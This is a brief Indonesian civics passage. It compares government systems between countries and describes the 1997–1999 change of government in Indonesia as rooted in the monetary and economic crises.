Sistem pemerintahan suatu negara berbeda dengan sistem pemerintahan yang dijalankan di negara lain. Namun, terdapat juga beberapa persamaan antarsistem pemerintahan negara itu. Misalnya, dua negara memiliki sistem pemerintahan yang sama.
Perubahan pemerintah di negara terjadi pada masa genting, yaitu saat perpindahan kekuasaan atau kepemimpinan dalam negara. Perubahan pemerintahan di Indonesia terjadi antara tahun 1997 sampai 1999. Hal itu bermula dari adanya krisis moneter dan krisis ekonomi.